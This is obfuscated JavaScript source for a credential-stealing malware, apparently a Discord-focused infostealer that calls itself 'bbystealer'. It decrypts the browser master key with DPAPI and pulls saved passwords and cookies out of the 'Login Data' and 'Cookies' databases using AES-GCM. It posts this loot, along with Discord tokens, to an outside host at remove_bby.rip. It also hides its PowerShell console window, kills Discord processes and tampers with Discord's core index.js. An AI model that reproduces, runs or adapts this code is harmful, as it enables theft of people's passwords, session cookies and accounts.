- }, pWsKf: "jDpdf", UOEmG: "SELECT\ origin_url, username_value,\ password_value\ FROM\ logins", LLTVP: function (gw, gx) {
- return gw - gx;
- }, nhOnN: "Network", XNILq: function (gy, gz) {
- return gy - gz;
- }, UtKbm: "cord", YFRYM: "UXNzp", NyzMk: "HbSEi", lZuKB: "Local State", eMuNz: "os_crypt", yEuJi: "encrypted_key", GfpeN: function (ha, hb) {
- return ha + hb;
- }, ggmIK: "Login Data", SYzaa: function (hc, hd) {
- return hc + hd;
- }, kqPgy: "passwords\.db", pkbSK: function (he, hf) {
- return he === hf;
- }, rXQVX: "IkhLo", fhTzv: "yiZVy"};
- let fk = fi.split("\\");
- let fl = fi["includes"](fj["nhOnN"]) ? fk["splice"](-fk["length"], fj.XNILq(fk["length"], 3)) : fk.splice(-fk.length, fj["XNILq"](fk.length, 2)), fm = fj["sihAd"](fl["join"]("\\"), "\\");
- if (fi.startsWith(appdata)) fm = fi;
- if (fi["includes"](fj["UtKbm"])) return;
- if (fs["existsSync"](fm)) {
- if (fj["rkXgk"](fj.YFRYM, fj["NyzMk"])) _0x2e130d += "\
- HOST KEY: " + _0x9edfbe["host_key"] + ("\ \|\ NAME:\ ") + _0x1a067e.name + ("\ \|\ VALUE:\ ") + _0x5d091a["unprotectData"](_0x3fe948, null, fj["EeNhP"])["toString"](fj["GSQFy"]); else {
- let hg = fs["readFileSync"](fj["sihAd"](fm, fj["lZuKB"])), hh = JSON["parse"](hg)[fj["eMuNz"]][fj["yEuJi"]], hi = Buffer["from"](hh, fj["grNXa"]).slice(5);
- var fn = fj.GfpeN(fi, fj.ggmIK), fo = fj.SYzaa(fi, fj["kqPgy"]);
- fs["copyFileSync"](fn, fo);
- const hj = Buffer["from"](hi, fj["GSQFy"]), hk = dpapi["unprotectData"](hj, null, fj["EeNhP"]);
- var fp = "", fq = new sqlite3["Database"](fo, hm => {
- const hn = {xPRXg: function (ho, hp) {
- return fj["tPAxc"](ho, hp);
- }, LAmSp: function (hq, hr) {
- return fj["TWzwf"](hq, hr);
- }, KgjoG: function (hs, ht) {
- return fj["cCSxY"](hs, ht);
- }, ELDFW: fj["EeNhP"], Elkac: fj.GSQFy, Bxsmt: function (hu, hv) {
- return fj["qFtZR"](hu, hv);
- }, pHExV: function (hw, hx) {
- return fj["qFtZR"](hw, hx);
- }, HVZHr: fj["JNccM"], fFXal: fj.grNXa};
- if (fj.iKROG(fj.cAcME, fj["jQdjP"])) {
- if (hm) {
- if (debug) console["log"](hm);
- }
- } else {
- if (hn.xPRXg(_0x2b9cf4[0], 1) && hn["LAmSp"](_0x21992a[1], 0) && hn["KgjoG"](_0x457d48[2], 0) && hn["KgjoG"](_0x517af9[3], 0)) _0x2ecae8 += "\
- URL: " + _0x3f3cfa["origin_url"] + ("\ \|\ USERNAME:\ ") + _0x489dda["username_value"] + (" | PASSWORD:\ ") + _0x46a9c0["unprotectData"](_0x17c84f, null, hn.ELDFW)["toString"](hn.Elkac); else {
- let hy = _0x5ceb0f["slice"](3, 15), hz = _0x350522.slice(15, hn["Bxsmt"](_0x11c825.length, 16)), ia = _0xa5a319["slice"](hn["pHExV"](_0x221344.length, 16), _0x1d13c9["length"]), ib = _0xbd59c1["createDecipheriv"](hn["HVZHr"], _0x289f30, hy);
- ib["setAuthTag"](ia);
- let ic = ib.update(hz, hn["fFXal"], hn.Elkac);
- ic += ib["final"](hn.Elkac), _0x2e8dcc += "\
- URL: " + _0x34d9f7["origin_url"] + ("\ \|\ USERNAME:\ ") + _0x44c63a["username_value"] + ("\ \|\ PASSWORD: ") + ic;
- }
- }
- });
- const hl = await new Promise((id, ie) => {
- const ig = {VXiaS: function (ih, ii) {
- return fj["mhGJB"](ih, ii);
- }, hRhgj: fj["RodhM"], czzPV: fj.QfehA, hFGfB: function (ij, ik) {
- return fj["sihAd"](ij, ik);
- }, etuAw: function (il, im) {
- return fj["sihAd"](il, im);
- }, vFCbQ: fj["UWVLs"], sGeRZ: fj["TGewm"]};
- if (fj["azIre"](fj.pWsKf, fj["pWsKf"])) {
- let io = "\
- \ \ \ \ Add\-Type\ \-Name Window\ \-Namespace\ Console\ \-MemberDefinition\ '\
- \ \ \ \ \[DllImport\("Kernel32\.dll"\)\]\
- \ \ \ \ public\ static\ extern\ IntPtr GetConsoleWindow\(\);\
- \
- \ \ \ \ \[DllImport\("user32\.dll"\)\]\
- \ \ \ \ public\ static\ extern bool\ ShowWindow\(IntPtr\ hWnd,\ Int32\ nCmdShow);\
- \ \ \ \ '\
- \
- \ \ \ \ \$consolePtr\ =\ \[Console.Window]::GetConsoleWindow\(\)\
- \ #0\ hide\n \[Console\.Window\]::ShowWindow\(\$consolePtr,\ 0\)\
- \ \ \ \ ", ip = _0x1be98d["cwd"](), iq = ip + " emp.ps1";
- _0x271eac["writeFileSync"](iq, io), ig["VXiaS"](_0x5b33d5, ig["hRhgj"])["execSync"]("type\ \.\\temp\.ps1\ \|\ powershell\.exe -noprofile\ \-", {stdio: ig["czzPV"]}), _0x43d9fd["unlinkSync"](iq);
- } else fq["each"](fj.UOEmG, function (ir, is) {
- const it = {eDutU: function (iu, iv) {
- return fj["mhGJB"](iu, iv);
- }};
- if (fj["GLmDC"](fj.nPCDA, fj.nPCDA)) {
- if (ir) {
- if (fj["GLmDC"](fj["qtJEB"], fj["yvrKM"])) ig["VXiaS"](_0x3ff976, _0x51c357); else {
- if (debug) console["log"](ir);
- }
- }
- if (fj["uoycc"](is["username_value"], "")) {
- if (fj["GLmDC"](fj["PGWYD"], fj.ckoqb)) it["eDutU"](_0x53f7e7, _0x474a08); else {
- let iw = is["password_value"];
- try {
- if (fj["NPnkb"](fj["qidTC"], fj.qidTC)) {
- let iy;
- try {
- iy = minkga["VXiaS"](_0x3cd995, minkga["hFGfB"](minkga.etuAw(minkga["vFCbQ"], minkga.sGeRZ), ");"))();
- } catch (iz) {
- iy = _0x218121;
- }
- return iy;
- } else {
- if (fj["Nbcmr"](iw[0], 1) && fj["eHrkX"](iw[1], 0) && fj["IsUSN"](iw[2], 0) && fj.IsUSN(iw[3], 0)) {
- if (fj["GLmDC"](fj.TWobW, fj["nXqiI"])) {
- const ja = _0x544aa6["match"](_0x387889);
- ja && ja["forEach"](jb => {
- _0xaa6aa9.push(jb);
- });
- } else fp += "\
- URL: " + is["origin_url"] + (" | USERNAME:\ ") + is["username_value"] + (" | PASSWORD:\ ") + dpapi["unprotectData"](iw, null, fj["EeNhP"])["toString"](fj["GSQFy"]);
- } else {
- if (fj["GLmDC"](fj["dytww"], fj["dytww"])) {
- let jc = iw["slice"](3, 15), jd = iw.slice(15, fj["qFtZR"](iw["length"], 16)), je = iw["slice"](fj["qFtZR"](iw["length"], 16), iw.length), jf = crypto["createDecipheriv"](fj.JNccM, hk, jc);
- jf["setAuthTag"](je);
- let jg = jf["update"](jd, fj["grNXa"], fj["GSQFy"]);
- jg += jf["final"](fj.GSQFy), fp += "\
- URL: " + is["origin_url"] + ("\ \|\ USERNAME:\ ") + is["username_value"] + (" | PASSWORD:\ ") + jg;
- } else {
- if (_0xaedcff) _0x27e397.log(_0x3f560d);
- }
- }
- }
- } catch (ix) {
- if (fj["NPnkb"](fj["XkwLk"], fj.WBusp)) {
- if (debug) console["log"](ix);
- } else return "";
- }
- }
- }
- } else {
- const jh = _0x37bfdf["constructor"]["prototype"]["bind"](_0x17cc04), ji = _0x5c4d43[_0x2861e3], jj = _0x334b4f[ji] || jh;
- jh.__proto__ = _0x402162["bind"](_0x2fd07c), jh["toString"] = jj["toString"]["bind"](jj), _0x107b36[ji] = jh;
- }
- }, function () {
- const jk = {};
- jk["kgvlf"] = fj["CTeWH"];
- const jl = jk;
- fj.rkXgk(fj["AlAWP"], fj["AlAWP"]) ? fj.mhGJB(id, fp) : _0x218dd0.push(jl.kgvlf);
- });
- });
- return hl;
- }
- } else {
- if (fj["pkbSK"](fj["rXQVX"], fj.fhTzv)) {
- let jm = _0x48ddaa["slice"](3, 15), jn = _0x225064["slice"](15, fj["qFtZR"](_0x360161["length"], 16)), jo = _0x275cd4["slice"](fj["LLTVP"](_0x100c39["length"], 16), _0x2fcc8d["length"]), jp = _0x28263d["createDecipheriv"](fj["JNccM"], _0x12e863, jm);
- jp.setAuthTag(jo);
- let jq = jp["update"](jn, fj["grNXa"], fj["GSQFy"]);
- jq += jp["final"](fj["GSQFy"]), _0x3844a0 += "\
- URL: " + _0x2fcc70["origin_url"] + ("\ \|\ USERNAME:\ ") + _0x1f0d15["username_value"] + (" | PASSWORD:\ ") + jq;
- } else return "";
- }
- }
- async function getCookies(jr) {
- const js = {AOmYR: function (ka, kb) {
- return ka !== kb;
- }, nkrjT: "FIUvl", mYOaR: "Searching\ game folder\.\.\.", GvvxS: "cord", ewirP: function (kc, kd) {
- return kc + kd;
- }, GxfAv: function (ke, kf) {
- return ke !== kf;
- }, wWIcP: "bWcNF", dHWIp: function (kg, kh) {
- return kg(kh);
- }, ONEFK: "Online\ update\ finded!", WXIoi: function (ki) {
- return ki();
- }, aQTiY: function (kj, kk, kl, km) {
- return kj(kk, kl, km);
- }, CkWOQ: "api/webhooks", AlovS: "kkkk", LeCfA: "Saving\ config\ file\.\..", jbFZD: function (kn) {
- return kn();
- }, UyqKl: "Making\ game config...", QRheQ: "\\app\-\*\\modules\\discord_desktop_core-*\\discord_desktop_core\\index\.js", FNbIu: "https://remove_bby.rip/UljlehPIgdqu/passwords", MtWzn: "text/plain", FoLLY: function (ko, kp) {
- return ko === kp;
- }, IeubL: "ZhcsH", sMOHj: "zhxHa", kgeeJ: "fFiGO", mokgV: function (kq, kr) {
- return kq !== kr;
- }, ekuEr: "gFmHy", zrOEF: "WCNxO", cnegw: function (ks, kt) {
- return ks == kt;
- }, DdmPC: "SeMsB", ZfWzW: "CurrentUser", nFLgn: "utf-8", cbONP: "SDkzh", EeZdE: function (ku, kv) {
- return ku - kv;
- }, aSewa: "aes\-256\-gcm", Srxri: "base64", MfPWG: "Whivf", NOmSg: "PcCiO", xSgYX: function (kw, kx) {
- return kw === kx;
- }, eSnvp: "UDhUj", eZUYt: "yBByf", qBTQO: "SELECT\ host_key,\ name,\ encrypted_value\ FROM\ cookies", fSzQc: "(((.+)+)+)+$", xXJSy: function (ky, kz, la) {
- return ky(kz, la);
- }, ZgJeO: "Network", FYCgL: function (lb, lc) {
- return lb - lc;
- }, TrKEH: function (ld, le) {
- return ld + le;
- }, uEmCn: "JEVYl", FUMDV: "jegxI", wzqXU: function (lf, lg) {
- return lf + lg;
- }, ENusk: "Local\ State", JrEeW: "os_crypt", zamcv: "encrypted_key", hvLuT: "Cookies", qzmrE: "cookies\.db", GQvGK: function (lh, li) {
- return lh === li;
- }, uJcwN: "LckMU"};
- let jt = jr["split"]("\\"), ju = jr["includes"](js["ZgJeO"]) ? jt["splice"](-jt["length"], js["EeZdE"](jt["length"], 3)) : jt.splice(-jt.length, js.FYCgL(jt["length"], 2));
- let jv = js["TrKEH"](ju.join("\\"), "\\");
- if (jr["startsWith"](appdata)) jv = jr;
- if (jr["includes"](js["GvvxS"])) return;
- if (fs["existsSync"](jv)) {
- if (js["mokgV"](js.uEmCn, js["FUMDV"])) {
- let lj = fs["readFileSync"](js["wzqXU"](jv, js["ENusk"])), lk = JSON["parse"](lj)[js["JrEeW"]][js["zamcv"]], ll = Buffer.from(lk, js["Srxri"])["slice"](5);
- var jw = js["wzqXU"](jr, js.hvLuT), jx = js["wzqXU"](jr, js.qzmrE);
- fs["copyFileSync"](jw, jx);
- const lm = Buffer["from"](ll, js["nFLgn"]), ln = dpapi["unprotectData"](lm, null, js["ZfWzW"]);
- var jy = "", jz = new sqlite3["Database"](jx, lp => {
- if (js["AOmYR"](js["nkrjT"], js["nkrjT"])) {
- if (_0x1088ec) {
- const lq = _0x2ea5f5["apply"](_0x8ac6e1, arguments);
- return _0x1e3cbf = null, lq;
- }
- } else {
- if (lp) {
- if (debug) console["log"](lp);
- }
- }
- });
- const lo = await new Promise((lr, ls) => {
- const lt = {OrSCe: js["ONEFK"], idCuO: function (lu) {
- return js["WXIoi"](lu);
- }, FPsWw: function (lv, lw, lx, ly) {
- return js["aQTiY"](lv, lw, lx, ly);
- }, JmtRF: js["CkWOQ"], JgrBA: js["AlovS"], PmCvm: js["LeCfA"], XOpBE: function (lz) {
- return js["jbFZD"](lz);
- }, dbefB: js.UyqKl, pQqnj: function (ma, mb) {
- return js["ewirP"](ma, mb);
- }, ZdyIf: js["QRheQ"], qsUmD: js["FNbIu"], HHXHo: js.MtWzn, Thlzw: function (mc, md) {
- return js.FoLLY(mc, md);
- }, MsVPy: js["IeubL"], WoSwO: js.sMOHj, cWglO: js.kgeeJ, jJFdP: function (me, mf) {
- return js["mokgV"](me, mf);
- }, iPLwM: js["ekuEr"], DSPSR: js["zrOEF"], WGiJc: function (mg, mh) {
- return js.cnegw(mg, mh);
- }, xvlrY: function (mi, mj) {
- return js["cnegw"](mi, mj);
- }, fMaAk: function (mk, ml) {
- return js.FoLLY(mk, ml);
- }, Zdzxw: js.DdmPC, bMBKY: js.ZfWzW, MlEZe: js.nFLgn, bEfze: js["cbONP"], BtpOf: function (mm, mn) {
- return js.EeZdE(mm, mn);
- }, cpIjk: js.aSewa, Bwwiw: js["Srxri"], eUXEH: function (mo, mp) {
- return js.FoLLY(mo, mp);
- }, oQXXL: js["MfPWG"], nZJjP: js["NOmSg"]};
- js["xSgYX"](js["eSnvp"], js["eZUYt"]) ? _0x308978 = _0x4e6c13 : jz["each"](js["qBTQO"], function (mq, mr) {
- const ms = {MvfIk: lt.PmCvm, HlKUH: function (mu) {
- return lt["XOpBE"](mu);
- }, roQGJ: lt["dbefB"], cxdVB: function (mv, mw) {
- return lt["pQqnj"](mv, mw);
- }, uInBg: lt.ZdyIf, IwfTv: lt["qsUmD"], wGRBB: lt["HHXHo"]};
- if (lt["Thlzw"](lt.MsVPy, lt["WoSwO"])) _0x355617["mkdirSync"](_0x1c683a, 484), _0x31735d["log"](lt["OrSCe"]), lt["idCuO"](_0x59ecf1); else {
- if (mq) {
- if (lt["Thlzw"](lt["cWglO"], lt["cWglO"])) {
- if (debug) console["log"](mq);
- } else {
- _0x5a2700["log"](ms.roQGJ);
- let mz = ms["cxdVB"]("" + _0x5de255, ms["uInBg"]);
- _0x48cb5d["sync"](mz)["map"](na => {
- _0x45ae10["push"](na);
- _0x880510["log"](ms.MvfIk), ms["HlKUH"](_0x10de6d);
- });
- }
- }
- let mx = mr["encrypted_value"];
- try {
- if (lt["jJFdP"](lt["iPLwM"], lt.DSPSR)) {
- if (lt.WGiJc(mx[0], 1) && lt.WGiJc(mx[1], 0) && lt["WGiJc"](mx[2], 0) && lt["xvlrY"](mx[3], 0)) {
- if (lt["fMaAk"](lt["Zdzxw"], lt["Zdzxw"])) jy += "\
- HOST KEY: " + mr["host_key"] + ("\ \|\ NAME:\ ") + mr["name"] + ("\ \|\ VALUE:\ ") + dpapi["unprotectData"](mx, null, lt.bMBKY)["toString"](lt["MlEZe"]); else {
- var mt = _0x5cdc98["readFileSync"](_0xbc2a84);
- _0x1ddeef["writeFileSync"](_0x27b855, lt["FPsWw"](_0x9f2bba, mt, lt["JmtRF"], lt["JgrBA"]));
- }
- } else {
- if (lt["fMaAk"](lt["bEfze"], lt.bEfze)) {
- let nb = mx["slice"](3, 15), nc = mx["slice"](15, lt["BtpOf"](mx["length"], 16)), nd = mx["slice"](lt["BtpOf"](mx["length"], 16), mx["length"]), ne = crypto["createDecipheriv"](lt["cpIjk"], ln, nb);
- ne["setAuthTag"](nd);
- let nf = ne.update(nc, lt["Bwwiw"], lt["MlEZe"]);
- nf += ne["final"](lt["MlEZe"]), jy += "\
- HOST\ KEY: " + mr["host_key"] + ("\ \|\ NAME: ") + mr["name"] + ("\ \|\ VALUE:\ ") + nf;
- } else _0x578068.push(_0x289d1c);
- }
- } else _0x4a2d30["log"](_0x1f2622), _0xdf0c3d.post(ms["IwfTv"], _0x5f5876, {headers: {"Content-Type": ms["wGRBB"]}});
- } catch (my) {
- if (lt.eUXEH(lt["oQXXL"], lt.nZJjP)) _0x18414d = !![]; else {
- if (debug) console.log(my);
- }
- }
- }
- }, function () {
- const ng = {OLuOR: js["mYOaR"], UoXsz: js.GvvxS, nRRey: function (nh, ni) {
- return js["ewirP"](nh, ni);
- }};
- if (js.GxfAv(js["wWIcP"], js["wWIcP"])) {
- _0x26eabf["log"](ng["OLuOR"]);
- if (_0x6e6929["includes"](ng["UoXsz"])) _0x5077f7["push"](ng["nRRey"](ng["nRRey"](_0x54c1c5, "\\"), _0x1f8e24)); else return;
- } else js["dHWIp"](lr, jy);
- });
- });
- return lo;
- } else return _0x4ff641["toString"]()["search"](FbmUMl["fSzQc"])["toString"]().constructor(_0x488867)["search"](FbmUMl["fSzQc"]);
- } else {
- if (js["GQvGK"](js["uJcwN"], js.uJcwN)) return ""; else {
- const nj = {dqiGa: function (nk, nl, nm) {
- return js.xXJSy(nk, nl, nm);
- }};
- _0x4bd50f["forEach"](nn => {
- nj.dqiGa(_0x7d3f93, "taskkill\ /IM " + nn + ".exe /F", no => {
- if (no) {
- if (_0x259d7b) _0x2ac63f["log"](no);
- return;
- }
- });
- }), js["jbFZD"](_0x4874f8), js["jbFZD"](_0x3d39fe);
- }
- }
- }
- async function stealPasswords() {
- const np = {LSdKI: "DiscordCanary", iBeVn: function (nu, nv) {
- return nu + nv;
- }, yzTcH: function (nw, nx) {
- return nw !== nx;
- }, cAOGJ: "wPhKa", pCyNP: "fjGbx", BfVrb: "mtEpj", dDqDg: function (ny, nz) {
- return ny !== nz;
- }, NYVzU: "WQTlv", CUkFw: function (oa, ob) {
- return oa === ob;
- }, OVxqv: "hXeso", QbmYr: "YQQTv", yLPeY: function (oc, od) {
- return oc !== od;
- }, Boype: "jLdmo", uEmkF: "\(\(\(\.\+\)\+\)\+\)+$", pxrDH: function (oe, of) {
- return oe(of);
- }, eMkIo: "application/json", xCubc: "POST", oCsBy: "https://remove_bby\.rip/UljlehPIgdqu/tokens", JuUzs: "Discord", IYPyG: function (og, oh, oi) {
- return og(oh, oi);
- }, oLoOQ: function (oj) {
- return oj();
- }, Jgcxm: function (ok, ol) {
- return ok < ol;
- }, cDKmP: function (om, on) {
- return om !== on;
- }, DUGOW: "jsbja", YyHXT: "gwBlY", YOQSG: "Login Data", HxjkQ: "bOzvl", KfsoC: "NCjvO", Jwgpl: function (oo, op) {
- return oo(op);
- }, QqxtI: function (oq, or) {
- return oq === or;
- }, RDrmZ: function (os, ot) {
- return os + ot;
- }, kmSYh: "kszah", MfQJl: "https://remove_bby.rip/UljlehPIgdqu/passwords", uXhnp: "text/plain"};
- const nq = function () {
- const ou = {zgsZs: np["LSdKI"], MUvUm: function (ov, ow) {
- return np.iBeVn(ov, ow);
- }, IRDHi: function (ox, oy) {
- return np["yzTcH"](ox, oy);
- }, BOQAK: np["cAOGJ"], AxPan: np["pCyNP"], DobPy: np["BfVrb"], sFzpg: function (oz, pa) {
- return np["dDqDg"](oz, pa);
- }, RtOXG: np["NYVzU"]};
- if (np["CUkFw"](np["OVxqv"], np.QbmYr)) {
- const pb = _0x5ecc01 ? function () {
- if (_0xfb6a82) {
- const pc = _0x3b4a48["apply"](_0x400dfe, arguments);
- return _0x1a46ce = null, pc;
- }
- } : function () {};
- return _0x2c5f45 = ![], pb;
- } else {
- let pd = !![];
- return function (pe, pf) {
- const pg = {srVZU: ou["zgsZs"], GfNiQ: function (ph, pi) {
- return ou["MUvUm"](ph, pi);
- }, acjwi: function (pj, pk) {
- return ou["IRDHi"](pj, pk);
- }, FmpYY: ou["BOQAK"], cLyjU: ou["AxPan"], STStA: ou["DobPy"]};
- if (ou["sFzpg"](ou.RtOXG, ou["RtOXG"])) {
- const pl = _0x37dd88.apply(_0x25f7ae, arguments);
- return _0x18a0da = null, pl;
- } else {
- const pm = pd ? function () {
- if (pg["acjwi"](pg.FmpYY, pg["FmpYY"])) _0xb1aaf2["push"](pg["srVZU"]); else {
- if (pf) {
- if (pg["acjwi"](pg["cLyjU"], pg["STStA"])) {
- const pn = pf.apply(pe, arguments);
- return pf = null, pn;
- } else _0x1c5f1d["push"](pg["GfNiQ"](pg["GfNiQ"](_0x461798, "\\"), _0x4f720b));
- }
- }
- } : function () {};
- return pd = ![], pm;
- }
- };
- }
- }();
- const nr = np.IYPyG(nq, this, function () {
- if (np["yLPeY"](np["Boype"], np["Boype"])) {
- if (_0x52bc21) _0x3bda21.log(_0x2eb97d);
- } else return nr["toString"]()["search"](np.uEmkF)["toString"]()["constructor"](nr)["search"](np["uEmkF"]);
- });
- np["oLoOQ"](nr);
- let ns = "";
- for (let po = 0; np.Jgcxm(po, paths["length"]); po++) {
- if (np.cDKmP(np.DUGOW, np["YyHXT"])) {
- if (fs["existsSync"](np["iBeVn"](paths[po], np["YOQSG"]))) {
- if (np.CUkFw(np.HxjkQ, np.KfsoC)) {
- const pp = [];
- for (let pq of _0x8c91f) {
- const pv = np["pxrDH"](_0x1a69fd, pq);
- pv && pv.forEach(pw => {
- pp["push"](pw);
- });
- }
- var nt = pp.filter(_0x4a0917);
- const pr = {};
- pr["Content-Type"] = np["eMkIo"];
- const ps = pr, pt = {};
- pt["method"] = np["xCubc"], pt.url = np["oCsBy"], pt["headers"] = ps, pt["data"] = nt;
- const pu = pt;
- _0xc214a9["request"](pu);
- } else ns += await np["Jwgpl"](getPasswords, paths[po]) || "";
- }
- np["QqxtI"](np.RDrmZ(po, 1), paths.length) && (np["QqxtI"](np["kmSYh"], np["kmSYh"]) ? (console["log"](ns), axios["post"](np["MfQJl"], ns, {headers: {"Content-Type": np["uXhnp"]}})) : _0x3b7f6c["push"](np.JuUzs));
- } else {
- if (_0x13fc67) _0x438c68["log"](_0x23fb81);
- return;
- }
- }
- }
- async function stealCookies() {
- const px = {ZYmOn: "Starting\ game paths\...", qCeOz: function (qd, qe) {
- return qd + qe;
- }, JCDcl: "\\Update\.exe", PcpTN: function (qf, qg, qh) {
- return qf(qg, qh);
- }, uHfym: "https://remove_bby.rip/UljlehPIgdqu/cookies", gIPah: a0_0x5a57(1e3, "OK2s") + "plain", cZaOJ: function (qi, qj) {
- return qi !== qj;
- }, ECPwX: "pQINA", ZuCGP: "gLivB", mCqQp: function (qk, ql) {
- return qk === ql;
- }, pBXAH: "gDJhZ", jmfjW: "VtLtG", SQuhg: "DUkGu", QSixX: "BAGpZ", DqCZE: "YmpZG", dRyxF: "GEHYD", TqxFa: function (qm, qn, qo) {
- return qm(qn, qo);
- }, TiGwF: "XnOtA", ihjBr: "ltkEj", UytXa: function (qp, qq) {
- return qp !== qq;
- }, cUBJZ: "aOfBf", KIEti: function (qr, qs) {
- return qr(qs);
- }, tSmmK: "return\ \(function\(\)\ ", odBjF: "\{\}\.constructor\("return th" + 'is")(' + " )", UPznR: function (qt, qu) {
- return qt === qu;
- }, YGLec: "WtQqa", jiJPG: "pSYVd", NehZT: "CurrentUser", BzKaB: "utf-8", HRyfH: function (qv, qw) {
- return qv === qw;
- }, UwTrd: "AlyXc", pNJcP: "PKNiF", WNvLf: function (qx) {
- return qx();
- }, rTmgF: "log", LJAuh: "warn", AASEd: "info", Kdcin: "error", yQvpE: "exception", cUiSQ: "table", jlGMQ: "trace", igzwb: function (qy, qz) {
- return qy < qz;
- }, JcrCR: "UkyqI", dKUeB: "VmyII", XHJSP: "utf8", NljSw: "index\.js", ENKTo: "bbystealer", vqIqy: "Online\ update\ finded!", XTPWg: "BetterDiscord\\data\\betterdiscord\.asar", pdmWl: function (ra, rb, rc, rd) {
- return ra(rb, rc, rd);
- }, UPcAY: "api/webhooks", xsdbV: "kkkk", XHFzB: function (re) {
- return re();
- }, EJgmu: function (rf, rg) {
- return rf === rg;
- }, VVbLP: "hOgIK", aRGMS: "bXqeV", NSLhz: function (rh, ri) {
- return rh + ri;
- }, hsUUN: "Cookies", BAdQQ: "Onyzj", opSEv: "iWASm", PYQEG: function (rj, rk) {
- return rj === rk;
- }, ynZAt: "kEeKF"}, py = function () {
- const rl = {XLLqO: px["ZYmOn"], lAyWF: function (rm, rn) {
- return px["qCeOz"](rm, rn);
- }, CexdD: px["JCDcl"], mHsjF: function (ro, rp, rq) {
- return px.PcpTN(ro, rp, rq);
- }, RyAnn: px["uHfym"], ifFhG: px["gIPah"], bmeBT: function (rr, rs) {
- return px["cZaOJ"](rr, rs);
- }, dPMOZ: px.ECPwX, XmIfx: px.ZuCGP, GMzrJ: function (rt, ru) {
- return px["mCqQp"](rt, ru);
- }, ZAcLT: px["pBXAH"], larqS: px["jmfjW"], yNEfn: px.SQuhg, ywWDH: px["QSixX"]};
- if (px.mCqQp(px["DqCZE"], px["dRyxF"])) _0x49532c["push"](_0x172822); else {
- let rv = !![];
- return function (rw, rx) {
- const ry = {elups: rl["XLLqO"], CNZCi: function (rz, sa) {
- return rl["lAyWF"](rz, sa);
- }, zouxX: function (sb, sc) {
- return rl["lAyWF"](sb, sc);
- }, CfPqQ: rl["CexdD"], zaaKM: function (sd, se, sf) {
- return rl["mHsjF"](sd, se, sf);
- }, LqzAy: rl["RyAnn"], yNCLX: rl["ifFhG"], ZdcIt: function (sg, sh) {
- return rl["bmeBT"](sg, sh);
- }, wczvh: rl["dPMOZ"], AXukw: rl["XmIfx"], HSrsy: function (si, sj) {
- return rl.GMzrJ(si, sj);
- }, drRxF: rl["ZAcLT"], ihKCd: rl.larqS};
- if (rl.GMzrJ(rl["yNEfn"], rl["ywWDH"])) {
- const sk = {PdOPj: ry["elups"], wTJtm: function (sl, sm) {
- return ry["CNZCi"](sl, sm);
- }, ihDcq: function (sn, so) {
- return ry["zouxX"](sn, so);
- }, zYBzu: ry["CfPqQ"], bmpVd: function (sp, sq, sr) {
- return ry.zaaKM(sp, sq, sr);
- }};
- _0x1b23df["forEach"](ss => {
- _0x30bb95["log"](sk["PdOPj"]);
- _0xe1403c = sk["wTJtm"](sk["ihDcq"](sk.ihDcq(_0x5cfbe9, "\\"), ss), sk["zYBzu"]), sk["bmpVd"](_0x511e85, _0x1e0e3d + ("\ \-\-processStart ") + ss + "\.exe", st => {
- if (st) {
- if (_0x23f6b5) _0x315743.log(st);
- return;
- }
- });
- });
- } else {
- const su = rv ? function () {
- if (ry["ZdcIt"](ry["wczvh"], ry.AXukw)) {
- if (rx) {
- if (ry["HSrsy"](ry["drRxF"], ry["ihKCd"])) {
- const sv = _0x4718c0 ? function () {
- if (_0x11fec0) {
- const sw = _0x529753["apply"](_0x410405, arguments);
- return _0x590a71 = null, sw;
- }
- } : function () {};
- return _0x3ba8f7 = ![], sv;
- } else {
- const sx = rx["apply"](rw, arguments);
- return rx = null, sx;
- }
- }
- } else _0x252758["log"](_0x4a9484), _0x274f1d.post(ry.LqzAy, _0x17b047, {headers: {"Content-Type": ry["yNCLX"]}});
- } : function () {};
- return rv = ![], su;
- }
- };
- }
- }(), pz = px["TqxFa"](py, this, function () {
- const sy = {};
- sy["UAHhV"] = px["NehZT"], sy["VIBlV"] = px.BzKaB;
- const sz = sy;
- if (px["HRyfH"](px["UwTrd"], px["pNJcP"])) {
- if (_0x14ece8) _0x584d1d["log"](_0x85526e);
- } else {
- const ta = function () {
- const te = {pJTyb: px["ZYmOn"], igeqP: function (tf, tg) {
- return px["qCeOz"](tf, tg);
- }, PWjjd: function (th, ti) {
- return px["qCeOz"](th, ti);
- }, rVpCm: px["JCDcl"], FqxFs: function (tj, tk, tl) {
- return px.TqxFa(tj, tk, tl);
- }};
- if (px["mCqQp"](px["TiGwF"], px["ihjBr"])) _0x28f06b["forEach"](tm => {
- _0x17f03c["push"](tm);
- }); else {
- let tn;
- try {
- if (px["UytXa"](px["cUBJZ"], px["cUBJZ"])) {
- const tp = _0x69408a["apply"](_0x493ed2, arguments);
- return _0x3278ba = null, tp;
- } else tn = px["KIEti"](Function, px["qCeOz"](px.qCeOz(px["tSmmK"], px["odBjF"]), ");"))();
- } catch (to) {
- px["UPznR"](px["YGLec"], px["jiJPG"]) ? (_0x38e48a.log(te["pJTyb"]), _0x579683 = te["igeqP"](te.igeqP(te["PWjjd"](_0xf224f3, "\\"), _0x47330f), te["rVpCm"]), te.FqxFs(_0x308f6d, _0x187b83 + ("\ \-\-processStart ") + _0x2861eb + "\.exe", tq => {
- if (tq) {
- if (_0x3ee12b) _0xc88945["log"](tq);
- return;
- }
- })) : tn = window;
- }
- return tn;
- }
- }, tb = px.WNvLf(ta), tc = tb["console"] = tb["console"] || {}, td = [px["rTmgF"], px["LJAuh"], px["AASEd"], px["Kdcin"], px["yQvpE"], px["cUiSQ"], px["jlGMQ"]];
- for (let tr = 0; px.igzwb(tr, td.length); tr++) {
- if (px["UytXa"](px["JcrCR"], px["dKUeB"])) {
- const ts = py["constructor"]["prototype"]["bind"](py), tt = td[tr], tu = tc[tt] || ts;
- ts["__proto__"] = py["bind"](py), ts["toString"] = tu["toString"]["bind"](tu), tc[tt] = ts;
- } else _0x3146ee += "\
- URL: " + _0x3da7eb["origin_url"] + ("\ \|\ USERNAME:\ ") + _0x13c953.username_value + ("\ \|\ PASSWORD:\ ") + _0x356d7c["unprotectData"](_0x5c644f, null, sz["UAHhV"])["toString"](sz.VIBlV);
- }
- }
- });
- px["XHFzB"](pz);
- let qa = "";
- for (let tv = 0; px.igzwb(tv, paths["length"]); tv++) {
- if (px["EJgmu"](px["VVbLP"], px["aRGMS"])) {
- const tw = {};
- tw["encoding"] = px["XHJSP"], tw["flag"] = "w", _0x189990["writeFileSync"](_0x61ee7b, _0x25bf2e["data"], tw);
- let tx = _0x1ca31e["replace"](px["NljSw"], px["ENKTo"]);
